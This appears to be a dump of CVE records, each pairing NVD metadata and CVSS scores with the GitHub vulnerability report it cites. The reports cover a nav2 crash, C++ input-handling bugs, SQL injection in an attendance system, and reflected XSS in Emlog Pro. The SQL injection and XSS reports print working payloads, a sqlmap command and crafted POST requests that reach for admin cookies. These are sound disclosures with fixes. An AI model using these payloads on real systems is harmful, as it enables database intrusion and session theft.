(nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >), nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x24e9f7) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #7 0x7da5dfc33f46 in rclcpp_action::Server<nav2_msgs::action::ComputePathToPose>::call_goal_accepted_callback(std::shared_ptr<rcl_action_goal_handle_s>, std::array<unsigned char, 16ul>, std::shared_ptr<void>) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x233f46) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #8 0x7da5df12e246 in rclcpp_action::ServerBase::execute_goal_request_received(std::shared_ptr<void>&) (/opt/ros/humble/lib/librclcpp_action.so+0x13246) (BuildId: 4dfcc4cee7010878193255b3a622d5194654caa8) Thread T15 created by T0 here: #0 0x572ec3c5e87c in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0x9387c) (BuildId: 191f253724b34c41ec9522f9202cc91f782cabef) #1 0x7da5ddcdc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7da5dfc28004 in nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::SimpleActionServer(std::shared_ptr<rclcpp::node_interfaces::NodeBaseInterface>, std::shared_ptr<rclcpp::node_interfaces::NodeClockInterface>, std::shared_ptr<rclcpp::node_interfaces::NodeLoggingInterface>, std::shared_ptr<rclcpp::node_interfaces::NodeWaitablesInterface>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::function<void ()>, std::function<void ()>, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool, rcl_action_server_options_s const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x228004) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #3 0x7da5dfc25865 in nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::SimpleActionServer<std::shared_ptr<nav2_util::LifecycleNode> >(std::shared_ptr<nav2_util::LifecycleNode>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::function<void ()>, std::function<void ()>, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool, rcl_action_server_options_s const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x225865) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #4 0x7da5dfb69408 in std::__detail::_MakeUniq<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose> >::__single_object std::make_unique<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>, std::shared_ptr<nav2_util::LifecycleNode>, char const (&) [21], std::_Bind<void (nav2_planner::PlannerServer::* (nav2_planner::PlannerServer*))()>, std::nullptr_t, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool>(std::shared_ptr<nav2_util::LifecycleNode>&&, char const (&) [21], std::_Bind<void (nav2_planner::PlannerServer::* (nav2_planner::PlannerServer*))()>&&, std::nullptr_t&&, std::chrono::duration<long, std::ratio<1l, 1000l> >&&, bool&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x169408) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #5 0x7da5dfb63ee4 in nav2_planner::PlannerServer::on_configure(rclcpp_lifecycle::State const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x163ee4) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #6 0x7da5def2b8ec (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x288ec) (BuildId: 97f6428dc1ee45fd402b522b3b8e6b4fcfeabe76) ==1121394==ABORTING ``` #### Additional information  ---- ##### It's a shutdown-issue First, based on my execution logs, I can confirm this is a shutdown issue. ##### It's additional tickets related to #4463, which behaviors in `nav2_planner` Below is an analysis of the cause of this bug: The `action_server_` binds the `nav2_planner::PlannerServer::computePlan()` function as a callback function, and using the `nav2_smac_planner::findCircumscribedCost` , which may access the early shutdown `costmap_ros_`: https://github.com/ros-navigation/navigation2/blob/9fbae3e66ecc3b7315ca7cbb070468a564f5e111/nav2_smac_planner/include/nav2_smac_planner/utils.hpp#L76 ##### This issue would be fixed in humble by PR #4463 ##### This issue would be fixed in Iron by my later PR

NullPointer Accessed during `findCircumscribedCost` calculation of nav2_smac_planner

https://api.github.com/repos/ros-navigation/navigation2/issues/4468/comments

1

2024-06-24T13:09:15Z

2024-06-24T13:09:36Z

https://github.com/ros-navigation/navigation2/issues/4468

2,370,218,387

4,468

6,461

CVE-2024-12353

2024-12-09T02:15:18.920

A vulnerability, which was classified as problematic, has been found in SourceCodester Phone Contact Manager System 1.0. This issue affects the function UserInterface::MenuDisplayStart of the component User Menu. The manipulation of the argument name leads to improper input validation. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 1.7, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 3.1, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "NONE", "baseScore": 3.3, "baseSeverity": "LOW", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "LOCAL", "availabilityRequirement": "NOT_DEFINED", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/jasontimwong/CVE/issues/1" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.287273" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?id.287273" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.457438" }, { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://www.sourcecodester.com/" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:razormist:phone_contact_manager_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "D0DB2815-489F-42F1-8CFA-9DB8CA0E1501", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "20" ]

20

https://github.com/jasontimwong/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "jasontimwong", "CVE" ]

# SourceCodester Phone Contact Manager System in C++ with Source Code Buffer Pollution Leading to Data Integrity Corruption and Potential Security Risks ## Vulnerability Information ### Affected Components - **System/Software Name**: Phone Contact Manager System - **Version**: Current Implementation ### Project Information - **Source Code Link**: [homepage](https://www.sourcecodester.com/cc/16822/phone-contact-manager-system-c-source-code.html) - **Project Download Link**: [Download Source Code](https://www.sourcecodester.com/sites/default/files/download/razormist/Phone%20Contact%20Manager%20System%20in%20C%2B%2B.zip) ### **Submitted By: jason huibin wong** ## **Description** The function UserInterface::MenuDisplayStart() does not properly handle user input. When a user enters mixed characters (e.g., 1qqqqq), the std::cin >> choice operation successfully parses the numeric portion (1) and leaves the remaining characters (qqqqq) in the input buffer. Subsequent calls to getline(std::cin, name) consume these leftover characters, leading to the unintended assignment of invalid data (qqqqq) to the name variable. ## **Impact** 1. **Data Corruption**: Invalid data such as q may be written to files like Users.txt. 2. **Logic Errors**: Incorrect input processing may cause unintended program behavior. 3. **Security Risks**: Malicious input, such as crafted payloads for SQL injection or path traversal, could exploit this flaw to compromise the system. ## **Affected Areas** ### **Impacted Functions** - UserInterface::MenuDisplayStart(): Processes user input but leaves residual data in the buffer. - Users::checkIn(): Writes polluted data (name) to the Users.txt file. <img width="1056" alt="image" src="https://github.com/user-attachments/assets/188abf5a-3b81-452f-bce4-2ac05e997584"> ### **Potential Impacted Scenarios** 1. **Data Integrity**: Files like Users.txt may contain invalid entries, leading to logical inconsistencies. 2. **Security Vulnerabilities**: Specially crafted inputs could exploit the polluted state for unintended operations. ## **Steps to Reproduce** 1. **Launch the Program** The program prompts the user with the following menu: ```coffeescript ======= Phone Contacts Manager System ======= Select your choice: [1] USER [2] EXISTING ADMIN [3] CREATE ADMIN [0] EXIT Enter the choice: ``` 1. **Enter Mixed Input** - Input 1qqqqq and press Enter. 1. **Observe Behavior** - The variable choice is assigned 1. - The remaining character q is retained in the buffer and later consumed by getline(std::cin, name). 1. **Validate File Contents** - After executing user.checkIn(), the file Users.txt contains invalid data such as: ```coffeescript qqqqq ``` ## **Technical Analysis** ### **Root Cause** - std::cin >> choice correctly parses numeric input but leaves non-numeric characters in the buffer. - Subsequent calls to getline consume the residual data without waiting for new user input. ### **Code Example** Below is the relevant vulnerable code snippet: ```coffeescript int UserInterface::MenuDisplayStart() { std::cout << "\nSelect your choice:\n\n[1] USER\n[2] EXISTING ADMIN\n[3] CREATE ADMIN\n[0] EXIT\nEnter the choice: "; int choice; std::cin >> choice; // Issue: Residual data in buffer std::string name; std::getline(std::cin, name); return choice; } ``` ### **Observed Behavior** - The getline function reads leftover data (qqqqq), which is assigned to name. - The polluted data is used downstream in logic such as file writing, leading to corruption. ### **Remediation Recommendations** 1. **Clear Input Buffer** - Ensure the input buffer is cleared after reading numeric input to avoid residual data: std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n'); 1. **Validate Input** - Add strict input validation to check for expected input ranges and types: ```coffeescript if (choice < 0 || choice > 3) { std::cerr << "Invalid choice! Please select a valid option.\n"; return -1; } ``` 1. **Handle Errors Gracefully** Use error handling to detect and recover from invalid inputs: ```coffeescript if (!(std::cin >> choice)) { std::cerr << "Invalid input! Please enter a number.\n"; std::cin.clear(); std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n'); return -1; } ``` ## **Screenshots (Placeholders)** 1. **Program Launch Screen** <img width="1135" alt="image 1" src="https://github.com/user-attachments/assets/d66114a2-8c96-4440-a19f-4aab44198f73"> 2. **Input and Behavior** <img width="1118" alt="image 2" src="https://github.com/user-attachments/assets/c1683161-c23e-441d-a877-a4a8f63130f2"> <img width="1122" alt="image 3" src="https://github.com/user-attachments/assets/5c9acbd8-7ace-4142-ac1a-7c9c9386c2bf"> <img width="816" alt="image 4" src="https://github.com/user-attachments/assets/6996a181-d166-4335-97ab-c2a429b6e161"> 3. **Corrupted File** <img width="976" alt="image 5" src="https://github.com/user-attachments/assets/65d88ce2-6e1a-4c93-9c78-2e99dbaeceb0"> <img width="900" alt="image 6" src="https://github.com/user-attachments/assets/9639629b-1ac3-4f25-a130-1c48f7cdfd77"> <img width="1022" alt="image 7" src="https://github.com/user-attachments/assets/3d75b64d-5219-47cd-8f0d-495449672a6b"> ## **Conclusion** This buffer pollution vulnerability allows invalid input to propagate through the program, causing data corruption and exposing the system to potential security risks. Immediate mitigation is recommended by implementing input validation, clearing the input buffer, and enhancing error handling.

SourceCodester Phone Contact Manager System in C++ with Source Code Buffer Pollution Leading to Data Integrity Corruption and Potential Security Risks

https://api.github.com/repos/jasontimwong/CVE/issues/1/comments

0

2024-12-05T16:31:14Z

2024-12-05T16:35:36Z

https://github.com/jasontimwong/CVE/issues/1

2,720,880,661

1

6,462

CVE-2024-12354

2024-12-09T02:15:19.120

A vulnerability, which was classified as critical, was found in SourceCodester Phone Contact Manager System 1.0. Affected is the function UserInterface::MenuDisplayStart of the component User Menu. The manipulation leads to buffer overflow. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used.

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[ "787" ]

787

https://github.com/jasontimwong/CVE/issues/2

[ "Exploit", "Third Party Advisory" ]

github.com

[ "jasontimwong", "CVE" ]

# SourceCodester Phone Contact Manager System in C++ with Source Code Improper Input Verification Can Lead to Abnormal Circuit Logic and Resource Consumption Risks ## Vulnerability Information ### Affected Components - **System/Software Name**: Phone Contact Manager System - **Version**: Current Implementation - **Impact file：UserInterface.cpp、Phone Contact Manager System.cpp** ### Project Information - **Source Code Link**: [homepage](https://www.sourcecodester.com/cc/16822/phone-contact-manager-system-c-source-code.html) - **Project Download Link**: [Download Source Code](https://www.sourcecodester.com/sites/default/files/download/razormist/Phone%20Contact%20Manager%20System%20in%20C%2B%2B.zip) ### **Submitted By: jason huibin wong** ## **Description** - In the function UserInterface::MenuDisplayStart(), user input is parsed into the variable choice. When an excessively long number is entered (e.g., multiple consecutive 1s), std::cin >> choice truncates the input to the maximum value of the int type, 2147483647 (0x7FFFFFFF), without validating the input’s length or range. - Since the value of choice is not validated, the program enters an infinite while(1) loop, repeatedly displaying the main menu. This behavior prevents normal user operations and may consume excessive system resources. ## **Impact Scope** ### **Affected Functions** - Main menu logic handling (while(1) loop) - User input parsing and selection handling ### **Potential Impact** 1. **Program Logic Errors** - An excessively long input causes choice to be parsed as the maximum value of int (2147483647), leading to undefined or erroneous branch logic. - The main loop executes indefinitely, preventing proper exit. 1. **Resource Consumption** - The infinite loop logic causes high CPU usage and may impact overall system performance. 1. **User Experience Issues** - The program does not provide feedback for invalid input and repeatedly refreshes the main menu, preventing user interaction. ## **Steps to Reproduce** **1. Launch the Program** The program displays the following menu prompt: ```coffeescript ======= Phone Contacts Manager System ======= Select your choice: [1] USER [2] EXISTING ADMIN [3] CREATE ADMIN [0] EXIT Enter the choice: ``` 1. **Enter an Excessively Long Number** Input a very long number, such as: ```coffeescript 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 ``` 1. **Observe the Program Behavior** - The variable choice is assigned the value 2147483647 (the maximum value of int). = The program returns to the main menu but does not execute the expected logic for the input. - The menu continuously refreshes, and the user cannot interact further. ## **Debugging and Validation** ### **Code Analysis** **UserInterface.cpp** The relevant code for input parsing: ```coffeescript int UserInterface::MenuDisplayStart() { std::cout << "\nSelect your choice:\n\n[1]USER\n[2]EXISTING ADMIN\n[3]CREATE ADMIN\n[0]EXIT\nEnter the choice: "; int choice; std::cin >> choice; return choice; } ``` ### **Problem:** - When an excessively long number is entered, std::cin >> choice truncates the input to 2147483647. - No validation is performed on the value of choice. **Phone Contact Manager System.cpp** The main loop logic: ```coffeescript while (1) { int choice = UI.MenuDisplayStart(); // Reads and returns choice from input switch (choice) { case User: // User logic break; case Admin: // Admin logic break; case NewAdmin: // New Admin logic break; case 0: std::cout << "\n\nThank You !!!\n\n"; exit(0); // Normal exit default: // No handling for invalid inputs break; } } ``` **Problem:** - choice is used directly without validation, allowing invalid values (e.g., 2147483647) to pass through. - The loop lacks error handling or exit conditions for invalid input, causing repeated menu refreshes. ### **Debugging Results** 1. **Variable Value After Excessively Long Input** After entering a long input, the value of choice was confirmed using a debugger: ```coffeescript (lldb) print choice (int) 2147483647 ``` 1. **Loop Behavior** - The main loop repeatedly executed UI.MenuDisplayStart() without processing the input, continuously refreshing the menu. 1. **Resource Consumption** - Monitoring tools like top or htop revealed high CPU usage, indicating excessive resource consumption due to the infinite loop. **Screenshots** 1. **Program Launch Screen** <img width="1125" alt="image" src="https://github.com/user-attachments/assets/58b9fbea-b970-4cc8-ba1b-d364fdbdb392"> 2. **Program Behavior After Long Input And Debugger Output for** choice <img width="1125" alt="image 1" src="https://github.com/user-attachments/assets/504b1095-69ee-4a27-a151-d7007d69a5b1"> <img width="468" alt="image" src="https://github.com/user-attachments/assets/32b42464-08e9-49a0-b89e-904c259f39a2"> <img width="1193" alt="image 2" src="https://github.com/user-attachments/assets/98243167-e0ab-4fda-adce-299be1fc68ed"> <img width="1352" alt="image 3" src="https://github.com/user-attachments/assets/fe4d79d6-bd46-4acd-b34d-cc287dfbdcac"> <img width="668" alt="image 4" src="https://github.com/user-attachments/assets/095e00b1-8c56-45f5-b39c-0f5781c6d6ec"> ## **Remediation Recommendations** 1. **Validate Input Range** Ensure the value of choice is within the expected range immediately after parsing: ```coffeescript if (choice < 0 || choice > 3) { std::cerr << "Invalid choice! Please select a valid option.\n"; continue; // Return to the main menu } ``` 1. **Limit Input Length** Restrict the maximum length of user input to avoid excessively long inputs: ```coffeescript std::cin.width(10); // Limit input to a maximum of 10 characters std::cin >> choice; ``` 1. **Clear the Input Buffer** Clear any remaining characters in the input buffer after parsing choice: std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n'); 1. **Handle Errors Gracefully** Provide meaningful error messages and terminate the loop for invalid inputs: ```coffeescript if (!(std::cin >> choice)) { std::cerr << "Invalid input! Exiting program.\n"; break; // Exit the loop } ``` ## **Conclusion** This vulnerability allows excessively long inputs to bypass validation, leading to program logic errors, infinite loops, and high resource consumption. The issue significantly impacts user experience and could strain system performance. ## **Priority Fixes** - Implement strict input validation to restrict choice to valid ranges. - Limit input length and ensure the buffer is cleared after each input. - Provide meaningful feedback for invalid inputs to enhance user experience.

SourceCodester Phone Contact Manager System in C++ with Source Code Improper Input Verification Can Lead to Abnormal Circuit Logic and Resource Consumption Risks

https://api.github.com/repos/jasontimwong/CVE/issues/2/comments

0

2024-12-05T17:53:03Z

2024-12-05T23:05:37Z

https://github.com/jasontimwong/CVE/issues/2

2,721,057,081

2

6,463

CVE-2024-12497

2024-12-12T02:15:22.367

A vulnerability classified as critical has been found in 1000 Projects Attendance Tracking Management System 1.0. Affected is an unknown function of the file /admin/check_admin_login.php. The manipulation of the argument admin_user_name leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/Ta0k1a/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Ta0k1a", "CVE" ]

# 1000projects Attendance Tracking Management System PHP & MySQL Project V1.0 /admin/check_admin_login.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Attendance Tracking Management System PHP & MySQL Project ## Vendor Homepage - [homepage](https://1000projects.org/attendance-tracking-management-system-php-mysql-project.html#google_vignette) # AFFECTED AND/OR FIXED VERSION(S) ## submitter - Ta0k1a ## Vulnerable File - /admin/check_admin_login.php ## VERSION(S) - V1.0 ## Software Link - [Download Source Code](https://1000projects.org/wp-content/uploads/2022/04/Attendance-Tracking-Management-System.7z) # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/admin/check_admin_login.php' file of the 'Attendance Tracking Management System PHP & MySQL Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'admin_user_name' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Attendance Tracking Management System PHP & MySQL Project", Ta0k1a discovered a critical SQL injection vulnerability in the "/admin/check_admin_login.php" file. This vulnerability stems from insufficient user input validation of the 'admin_user_name' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability type: - boolean-based blind - stacked queries - time-based blind ## Vulnerability location: - 'admin_user_name' parameter ## Payload: ```coffeescript Parameter: admin_user_name (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: admin_user_name=12123' OR NOT 5140=5140 AND 'JHDK'='JHDK&admin_password=123123 Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: admin_user_name=12123';SELECT SLEEP(5)#&admin_password=123123 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: admin_user_name=12123' AND (SELECT 8598 FROM (SELECT(SLEEP(5)))cSHs) AND 'VcAV'='VcAV&admin_password=123123 ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```coffeescript sqlmap -u "10.211.55.6:1131/admin/check_admin_login.php" --cookie="PHPSESSID=r9o7ngpfe1n2gfbgjorpf3aj9q" --data="admin_user_name=12123&admin_password=123123" --batch --level=5 --risk=3 --random-agent --tamper=space2comment --dbs ``` <img width="1142" alt="image" src="https://github.com/user-attachments/assets/90a8d691-a048-4ee4-8c10-486a13db8b8d"> <img width="794" alt="image 1" src="https://github.com/user-attachments/assets/fdd6ff5a-ad89-4835-b4f2-ca99d64e2863"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Attendance Tracking Management System PHP & MySQL Project V1.0 /admin/check_admin_login.php SQL injection

https://api.github.com/repos/Ta0k1a/CVE/issues/1/comments

0

2024-12-09T12:51:14Z

https://github.com/Ta0k1a/CVE/issues/1

2,726,967,119

1

6,464

CVE-2024-12841

2024-12-20T19:15:06.097

A vulnerability was found in Emlog Pro up to 2.4.1. It has been classified as problematic. This affects an unknown part of the file /admin/tag.php. The manipulation of the argument keyword leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

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[ "79" ]

79

https://github.com/emlog/emlog/issues/305

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "emlog", "emlog" ]

# Summary emlog pro 2.4.1 is affected by multiple reflected Cross-Site Scripting (XSS) vulnerabilities. These vulnerabilities occur due to insufficient input validation and sanitation, allowing attackers to inject malicious scripts into web pages that are then executed in the browsers of other users. # Details This is the affected php file: ``` /admin/tag.php /admin/user.php /admin/plugin.php /admin/store.php ``` The vulnerabilities exist due to the improper handling of some parameters. These parameters are directly concatenated into the HTML output without proper sanitization, allowing an attacker to inject arbitrary JavaScript code. # POC For each of the identified endpoints, an attacker can exploit the vulnerability by injecting a malicious script via the respective parameter. Below are the URLs with crafted payloads that demonstrate the reflected XSS: `http://target-ip/admin/tag.php?keyword=1%22%3E%3Csvg%20onload=alert(document.cookie)%3E` `http://target-ip/admin/user.php?keyword=1%22%3E%3Csvg%20onload=alert(document.cookie)%3E` `http://target-ip/admin/plugin.php?filter=1%22%3E%3C/script%3E%3Csvg%20onload=alert(document.cookie)%3E` `http://target-ip/admin/store.php?tag=1%22%3E%3Csvg%20onload=alert(document.cookie)%3E` `http://target-ip/admin/store.php?keyword=1%22%3E%3Csvg%20onload=alert(document.cookie)%3E` # Impact If a administrator accesses the malicious url, the cookie may be obtained by an attacker.

Multiple Reflected Cross-Site Scripting (XSS) Vulnerabilities in emlog pro 2.4.1

https://api.github.com/repos/emlog/emlog/issues/305/comments

2

2024-12-13T02:55:33Z

2025-03-28T04:43:36Z

https://github.com/emlog/emlog/issues/305

2,737,265,718

305

6,465

CVE-2024-12845

2024-12-20T22:15:24.727

A vulnerability classified as problematic was found in Emlog Pro up to 2.4.1. Affected by this vulnerability is an unknown functionality in the library /include/lib/common.php. The manipulation of the argument msg leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/emlog/emlog/issues/306" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?ctiid.289081" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?id.289081" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?submit.462477" } ]

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[ "79" ]

79

https://github.com/emlog/emlog/issues/306

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "emlog", "emlog" ]

# Summary A reflected Cross Site Scripting (XSS) vulnerability exists in emlog pro 2.4.1 due to improper sanitization of the $msg parameter in /include/lib/common.php. # Details This vulnerability can be exploited by an attacker to inject malicious scripts into the web application, which can then be executed in the browsers of other users. The vulnerability stems from improper filtering of SQL statement error messages in $msg. ![image](https://github.com/user-attachments/assets/0a7257da-0a0e-47e1-aba0-2a18bf2ae55c) # POC For example, in the `/admin/navbar.php` file, newtab expects data of integer type, and if it receives data of string type, it triggers an error. The error message can contain the entire SQL statement, and a reflective XSS vulnerability can occur if the SQL statement contains any field that accepts the data passed in by the user. In the example, the parameter `naviname` and `url` incoming fields are represented in the SQL statement. ## POC 1 ``` POST /admin/navbar.php?action=add HTTP/1.1 Host: target-ip Content-Length: 75 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: [admins'cookie] Connection: keep-alive naviname=<svg%20onload=alert(1)>&url=<svg%20onload=alert(2)>&pid=0&newtab=hebing123 ``` ![image](https://github.com/user-attachments/assets/9c042f35-762d-43bc-886e-373cea8bfb3d) ps: Of course, newtab can trigger itself. Just assign it to `<svg%20onload=alert(2)>` ## POC 2 ``` POST /index.php?action=addcom HTTP/1.1 Host: target-ip Cookie: [users'cookie] Content-Type: application/x-www-form-urlencoded Content-Length: 49 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Connection: Keep-alive comment=%F6<svg%20onload=alert(1)>%F6&gid=1&pid=0 ``` ![image](https://github.com/user-attachments/assets/eb6fe2fb-9629-4e49-b7de-de27ba0c4ce9)

emlog pro 2.4.1 has a reflected XSS vulnerability

https://api.github.com/repos/emlog/emlog/issues/306/comments

2

2024-12-13T04:00:15Z

2025-03-28T04:43:53Z

https://github.com/emlog/emlog/issues/306

2,737,341,754

306

6,466

CVE-2024-12846

2024-12-21T05:15:07.373

